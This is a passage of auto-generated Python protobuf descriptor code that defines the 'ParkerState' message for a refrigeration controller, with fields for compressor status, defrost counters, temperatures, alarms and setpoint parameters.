serialized_pb=_b('\n\x0cparker.proto\x12\x06xbospb\x1a\x13nullabletypes.proto\"\x8d\x18\n\x0bParkerState\x12\x30\n\x18\x63ompressor_working_hours\x18\x01 \x01(\x0b\x32\x0e.xbospb.Double\x12(\n\x11on_standby_status\x18\x02 \x01(\x0b\x32\r.xbospb.Int64\x12#\n\x0clight_status\x18\x03 \x01(\x0b\x32\r.xbospb.Int64\x12(\n\x11\x61ux_output_status\x18\x04 \x01(\x0b\x32\r.xbospb.Int64\x12,\n\x14next_defrost_counter\x18\x05 \x01(\x0b\x32\x0e.xbospb.Double\x12/\n\x18\x64oor_switch_input_status\x18\x06 \x01(\x0b\x32\r.xbospb.Int64\x12\x30\n\x19multipurpose_input_status\x18\x07 \x01(\x0b\x32\r.xbospb.Int64\x12(\n\x11\x63ompressor_status\x18\x08 \x01(\x0b\x32\r.xbospb.Int64\x12,\n\x15output_defrost_status\x18\t \x01(\x0b\x32\r.xbospb.Int64\x12\"\n\x0b\x66\x61ns_status\x18\n \x01(\x0b\x32\r.xbospb.Int64\x12\'\n\x10output_k4_status\x18\x0b \x01(\x0b\x32\r.xbospb.Int64\x12+\n\x13\x63\x61\x62inet_temperature\x18\x0c \x01(\x0b\x32\x0e.xbospb.Double\x12.\n\x16\x65vaporator_temperature\x18\r \x01(\x0b\x32\x0e.xbospb.Double\x12-\n\x15\x61uxiliary_temperature\x18\x0e \x01(\x0b\x32\x0e.xbospb.Double\x12+\n\x14probe1_failure_alarm\x18\x0f \x01(\x0b\x32\r.xbospb.Int64\x12+\n\x14probe2_failure_alarm\x18\x10 \x01(\x0b\x32\r.xbospb.Int64\x12+\n\x14probe3_failure_alarm\x18\x11 \x01(\x0b\x32\r.xbospb.Int64\x12\x30\n\x19minimum_temperature_alarm\x18\x12 \x01(\x0b\x32\r.xbospb.Int64\x12/\n\x18maximum_temperture_alarm\x18\x13 \x01(\x0b\x32\r.xbospb.Int64\x12:\n#condensor_temperature_failure_alarm\x18\x14 \x01(\x0b\x32\r.xbospb.Int64\x12*\n\x13\x63ondensor_pre_alarm\x18\x15 \x01(\x0b\x32\r.xbospb.Int64\x12!\n\ndoor_alarm\x18\x16 \x01(\x0b\x32\r.xbospb.Int64\x12/\n\x18multipurpose_input_alarm\x18\x17 \x01(\x0b\x32\r.xbospb.Int64\x12/\n\x18\x63ompressor_blocked_alarm\x18\x18 \x01(\x0b\x32\r.xbospb.Int64\x12*\n\x13power_failure_alarm\x18\x19 \x01(\x0b\x32\r.xbospb.Int64\x12&\n\x0frtc_error_alarm\x18\x1a \x01(\x0b\x32\r.xbospb.Int64\x12\x33\n\x1c\x65nergy_saving_regulator_flag\x18\x1b \x01(\x0b\x32\r.xbospb.Int64\x12=\n&energy_saving_real_time_regulator_flag\x18\x1c \x01(\x0b\x32\r.xbospb.Int64\x12\x35\n\x1eservice_request_regulator_flag\x18\x1d \x01(\x0b\x32\r.xbospb.Int64\x12\x30\n\x19on_standby_regulator_flag\x18\x1e \x01(\x0b\x32\r.xbospb.Int64\x12\x37\n new_alarm_to_read_regulator_flag\x18\x1f \x01(\x0b\x32\r.xbospb.Int64\x12\x34\n\x1d\x64\x65\x66rost_status_regulator_flag\x18 \x01(\x0b\x32\r.xbospb.Int64\x12&\n\x0f\x61\x63tive_setpoint\x18! \x01(\x0b\x32\r.xbospb.Int64\x12)\n\x12time_until_defrost\x18\" \x01(\x0b\x32\r.xbospb.Int64\x12.\n\x17\x63urrent_defrost_counter\x18# \x01(\x0b\x32\r.xbospb.Int64\x12\'\n\x10\x63ompressor_delay\x18$ \x01(\x0b\x32\r.xbospb.Int64\x12,\n\x15num_alarms_in_history\x18% \x01(\x0b\x32\r.xbospb.Int64\x12+\n\x14\x65nergy_saving_status\x18& \x01(\x0b\x32\r.xbospb.Int64\x12-\n\x16service_request_status\x18\' \x01(\x0b\x32\r.xbospb.Int64\x12<\n%resistors_activated_by_aux_key_status\x18( \x01(\x0b\x32\r.xbospb.Int64\x12-\n\x16\x65vaporator_valve_state\x18) \x01(\x0b\x32\r.xbospb.Int64\x12+\n\x14output_defrost_state\x18* \x01(\x0b\x32\r.xbospb.Int64\x12\'\n\x10output_lux_state\x18+ \x01(\x0b\x32\r.xbospb.Int64\x12\'\n\x10output_aux_state\x18, \x01(\x0b\x32\r.xbospb.Int64\x12&\n\x0fresistors_state\x18- \x01(\x0b\x32\r.xbospb.Int64\x12)\n\x12output_alarm_state\x18. \x01(\x0b\x32\r.xbospb.Int64\x12.\n\x17second_compressor_state\x18/ \x01(\x0b\x32\r.xbospb.Int64\x12 \n\x08setpoint\x18\x30 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02r1\x18\x31 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02r2\x18\x32 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02r4\x18\x33 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02\x43\x30\x18\x34 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02\x43\x31\x18\x35 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02\x64\x30\x18\x36 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02\x64\x33\x18\x37 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02\x64\x35\x18\x38 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02\x64\x37\x18\x39 \x01(\x0b\x32\x0e.xbospb.Double\x12\x19\n\x02\x64\x38\x18: \x01(\x0b\x32\r.xbospb.Int64\x12\x19\n\x02\x41\x30\x18; \x01(\x0b\x32\r.xbospb.Int64\x12\x1a\n\x02\x41\x31\x18< \x01(\x0b\x32\x0e.xbospb.Double\x12\x19\n\x02\x41\x32\x18= \x01(\x0b\x32\r.xbospb.Int64\x12\x19\n\x02\x41\x33\x18> \x01(\x0b\x32\r.xbospb.Int64\x12\x1a\n\x02\x41\x34\x18? \x01(\x0b\x32\x0e.xbospb.Double\x12\x19\n\x02\x41\x35\x18@ \x01(\x0b\x32\r.xbospb.Int64\x12\x1a\n\x02\x41\x36\x18\x41 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02\x41\x37\x18\x42 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02\x41\x38\x18\x43 \x01(\x0b\x32\x0e.xbospb.Double\x12\x1a\n\x02\x41\x39\x18\x44 \x01(\x0b\x32\x0e.xbospb.Double\x12\x19\n\x02\x46\x30\x18\x45 \x01(\x0b\x32\r.xbospb.Int64\x12\x1a\n\x02\x46\x31\x18\x46 \x01(\x0b\x32\x0e.xbospb.Double\x12\x19\n\x02\x46\x32\x18G \x01(\x0b\x32\r.xbospb.Int64\x12\x1a\n\x02\x46\x33\x18H \x01(\x0b\x32\x0e.xbospb.Double\x12\x1b\n\x03Hd1\x18I \x01(\x0b\x32\x0e.xbospb.Double\x12\x1b\n\x03Hd2\x18J \x01(\x0b\x32\x0e.xbospb.Double\x12\x1b\n\x03Hd3\x18K \x01(\x0b\x32\x0e.xbospb.Double\x12\x1b\n\x03Hd4\x18L \x01(\x0b\x32\x0e.xbospb.Double\x12\x1b\n\x03Hd5\x18M \x01(\x0b\x32\x0e.xbospb.Double\x12\x1b\n\x03Hd6\x18N \x01(\x0b\x32\x0e.xbospb.Double\x12\x0c\n\x04time\x18O \x01(\x04\x62\x06proto3')
,
dependencies=[nullabletypes__pb2.DESCRIPTOR,])
_PARKERSTATE = _descriptor.Descriptor(
name='ParkerState',
full_name='xbospb.ParkerState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='compressor_working_hours', full_name='xbospb.ParkerState.compressor_working_hours', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='on_standby_status', full_name='xbospb.ParkerState.on_standby_status', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='light_status', full_name='xbospb.ParkerState.light_status', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='aux_output_status', full_name='xbospb.ParkerState.aux_output_status', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='next_defrost_counter', full_name='xbospb.ParkerState.next_defrost_counter', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='door_switch_input_status', full_name='xbospb.ParkerState.door_switch_input_status', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='multipurpose_input_status', full_name='xbospb.ParkerState.multipurpose_input_status', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='compressor_status', full_name='xbospb.ParkerState.compressor_status', index=7,
number=8, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='output_defrost_status', full_name='xbospb.ParkerState.output_defrost_status', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='fans_status', full_name='xbospb.ParkerState.fans_status', index=9,
number=10, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='output_k4_status', full_name='xbospb.ParkerState.output_k4_status', index=10,
number=11, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='cabinet_temperature', full_name='xbospb.ParkerState.cabinet_temperature', index=11,
number=12, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='evaporator_temperature', full_name='xbospb.ParkerState.evaporator_temperature', index=12,
number=13, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='auxiliary_temperature', full_name='xbospb.ParkerState.auxiliary_temperature', index=13,
number=14, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='probe1_failure_alarm', full_name='xbospb.ParkerState.probe1_failure_alarm', index=14,
number=15, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='probe2_failure_alarm', full_name='xbospb.ParkerState.probe2_failure_alarm', index=15,
number=16, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='probe3_failure_alarm', full_name='xbospb.ParkerState.probe3_failure_alarm', index=16,
number=17, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='minimum_temperature_alarm', full_name='xbospb.ParkerState.minimum_temperature_alarm', index=17,
number=18, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='maximum_temperture_alarm', full_name='xbospb.ParkerState.maximum_temperture_alarm', index=18,
number=19, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='condensor_temperature_failure_alarm', full_name='xbospb.ParkerState.condensor_temperature_failure_alarm', index=19,
number=20, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='condensor_pre_alarm', full_name='xbospb.ParkerState.condensor_pre_alarm', index=20,
number=21, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='door_alarm', full_name='xbospb.ParkerState.door_alarm', index=21,
number=22, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='multipurpose_input_alarm', full_name='xbospb.ParkerState.multipurpose_input_alarm', index=22,
number=23, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='compressor_blocked_alarm', full_name='xbospb.ParkerState.compressor_blocked_alarm', index=23,
number=24, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='power_failure_alarm', full_name='xbospb.ParkerState.power_failure_alarm', index=24,
number=25, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='rtc_error_alarm', full_name='xbospb.ParkerState.rtc_error_alarm', index=25,
number=26, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='energy_saving_regulator_flag', full_name='xbospb.ParkerState.energy_saving_regulator_flag', index=26,
number=27, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='energy_saving_real_time_regulator_flag', full_name='xbospb.ParkerState.energy_saving_real_time_regulator_flag', index=27,
number=28, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='service_request_regulator_flag', full_name='xbospb.ParkerState.service_request_regulator_flag', index=28,
number=29, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='on_standby_regulator_flag', full_name='xbospb.ParkerState.on_standby_regulator_flag', index=29,
number=30, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='new_alarm_to_read_regulator_flag', full_name='xbospb.ParkerState.new_alarm_to_read_regulator_flag', index=30,
number=31, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='defrost_status_regulator_flag', full_name='xbospb.ParkerState.defrost_status_regulator_flag', index=31,
number=32, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='active_setpoint', full_name='xbospb.ParkerState.active_setpoint', index=32,
number=33, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='time_until_defrost', full_name='xbospb.ParkerState.time_until_defrost', index=33,
number=34, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='current_defrost_counter', full_name='xbospb.ParkerState.current_defrost_counter', index=34,
number=35, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='compressor_delay', full_name='xbospb.ParkerState.compressor_delay', index=35,
number=36, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='num_alarms_in_history', full_name='xbospb.ParkerState.num_alarms_in_history', index=36,
number=37, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='energy_saving_status', full_name='xbospb.ParkerState.energy_saving_status', index=37,
number=38, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='service_request_status', full_name='xbospb.ParkerState.service_request_status', index=38,
number=39, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='resistors_activated_by_aux_key_status', full_name='xbospb.ParkerState.resistors_activated_by_aux_key_status', index=39,
number=40, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='evaporator_valve_state', full_name='xbospb.ParkerState.evaporator_valve_state', index=40,
number=41, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='output_defrost_state', full_name='xbospb.ParkerState.output_defrost_state', index=41,
number=42, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='output_lux_state', full_name='xbospb.ParkerState.output_lux_state', index=42,
number=43, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='output_aux_state', full_name='xbospb.ParkerState.output_aux_state', index=43,
number=44, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='resistors_state', full_name='xbospb.ParkerState.resistors_state', index=44,
number=45, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='output_alarm_state', full_name='xbospb.ParkerState.output_alarm_state', index=45,
number=46, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='second_compressor_state', full_name='xbospb.ParkerState.second_compressor_state', index=46,
number=47, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='setpoint', full_name='xbospb.ParkerState.setpoint', index=47,
number=48, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='r1', full_name='xbospb.ParkerState.r1', index=48,
number=49, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='r2', full_name='xbospb.ParkerState.r2', index=49,
number=50, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='r4', full_name='xbospb.ParkerState.r4', index=50,
number=51, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='C0', full_name='xbospb.ParkerState.C0', index=51,
number=52, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='C1', full_name='xbospb.ParkerState.C1', index=52,
number=53, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='d0', full_name='xbospb.ParkerState.d0', index=53,
number=54, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='d3', full_name='xbospb.ParkerState.d3', index=54,
number=55, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='d5', full_name='xbospb.ParkerState.d5', index=55,
number=56, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='d7', full_name='xbospb.ParkerState.d7', index=56,
number=57, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='d8', full_name='xbospb.ParkerState.d8', index=57,
number=58, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='A0', full_name='xbospb.ParkerState.A0', index=58,
number=59, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='A1', full_name='xbospb.ParkerState.A1', index=59,
number=60, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='A2', full_name='xbospb.ParkerState.A2', index=60,
number=61, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='A3', full_name='xbospb.ParkerState.A3', index=61,
number=62, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='A4', full_name='xbospb.ParkerState.A4', index=62,
number=63, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='A5', full_name='xbospb.ParkerState.A5', index=63,
number=64, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='A6', full_name='xbospb.ParkerState.A6', index=64,
number=65, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='A7', full_name='xbospb.ParkerState.A7', index=65,
number=66, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='A8', full_name='xbospb.ParkerState.A8', index=66,
number=67, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='A9', full_name='xbospb.ParkerState.A9', index=67,
number=68, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='F0', full_name='xbospb.ParkerState.F0', index=68,
number=69, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='F1', full_name='xbospb.ParkerState.F1', index=69,
number=70, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='F2', full_name='xbospb.ParkerState.F2', index=70,
number=71, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='F3', full_name='xbospb.ParkerState.F3', index=71,
number=72, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='Hd1', full_name='xbospb.ParkerState.Hd1', index=72,
number=73, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='Hd2', full_name='xbospb.ParkerState.Hd2', index=73,
number=74, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='Hd3', full_name='xbospb.ParkerState.Hd3', index=74,
number=75, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='Hd4', full_name='xbospb.ParkerState.Hd4', index=75,
number=76, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
